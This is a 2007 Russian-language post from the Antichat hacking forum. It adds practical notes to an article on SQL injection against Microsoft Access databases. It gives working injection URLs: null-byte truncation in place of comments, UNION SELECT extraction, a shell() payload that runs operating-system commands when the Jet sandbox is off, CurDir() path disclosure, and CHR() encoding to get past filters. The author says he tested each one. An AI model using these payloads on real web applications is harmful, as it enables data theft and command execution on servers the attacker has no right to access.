Показать сообщение отдельно

Важные дополнения!!!
  #10  
Старый 10.10.2007, 22:50
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
Exclamation Важные дополнения!!!

Доплнение

Чтобы избежать дальнейших противоречий, вопросов и ссылок на непроверенные источники
поднял у себя MS Access 2003 дабы убедится во всем самолично.
При анализе так же использовалась утилита:
ADO Query Tools
Version 1.0.8 build 23
Copyright (c) Arbinada.com 2007
скачать
Итак приступим...

[Провайдеры]

Для взаимодействия с MS Access обычно используются два провайдера(драйвера):

Microsoft OLE DB Provider for ODBC Drivers
Поставляется по умолчанию с Windows

и

Microsoft Jet 4.0 OLE DB Provider
Устанавливается дополнительно в зависимости от нужд.
У меня установился вместе с ADO Query Tools

Поэтому при инъекции в MS Access одинаково часто можно встретить ошибки двух типов:

Код:
[Microsoft][ODBC Microsoft Access Driver]
Syntax error ....
или

Код:
Microsoft JET Database Engine error '80040e14'
Syntax error in string ....
[Комментарии]

MS Access не поддерживает ни один вид комментариев!
Как и было указано в самой статье - для усечения оставшейся части
запроса после инжектируемого параметра не возможно воспользоваться
символами комментариев типа "/*", "--", "#".

Но при этом(важно!) для усечения можно воспользоваться нуль-байтом (%00)

MS Access воспринимает его как конец запроса =)

пример:
Код:
www.site.com/view.asp?id=-1+union+select+1+from+users%00
При этом символ "#" при попытке усечения запроса через http get-запрос,
просто не учитывается и не подставляется в SQL-запрос вместе с параметром,
что создает эффект усечения.

[Шелл]

В MS Access возможно в запросах использовать функции shell(), curdir()
По умолчанию (для безопасности) использование этих функций отключено.
В реестре ключ
Код:
\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode
по умолчанию равен 3

Если этот ключ каким либо образом (случайно или преднамерено)
установлен в 0 возможно выполнение этих функций!

Пример Shell:
Код:
www.site.com/view.asp?id=1+and+shell('cmd /c calc')%00
Запускается калькулятор - проверено лично, робит =)

Пример CurDir:
Код:
www.site.com/view.asp?id=1+union+select+CurDir()+from+table%00
получим текущую диру расположения файла с БД.
Необходимо знать имя таблицы и кол-во столбцов(как см. статью)

[Обход фильтрации]

В MS Access отсутствует функции concat(), поэтому для конкатенации
используются операторы "+" и "&"
При этом при http get необходимо учитывать что символ "+" надо заменять на %2B

Для обхода фильтрации можно воспользоваться функций CHR()
При этом надо помнить, что строки надо кодировать посимвольно!
т.е.
Код:
CHR(XX)%2BCHR(XX)%2BCHR(XX)%2B....
[Запросы]

В простых запросах SELECT как и писал [cash]
можно обойтись без FROM TABLE
Код:
select 123
работает проверено =)

Но при проведении инъекции с внедрением своего
запроса через параметр получается сложный запрос.
При использовании конструкции UNION SELECT в
объединяемом запросе необходимо присутствия FROM TABLE
тоже проверено =)

[ЗЫ]
Инфа по теме http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html

Последний раз редактировалось [53x]Shadow; 10.10.2007 в 23:29..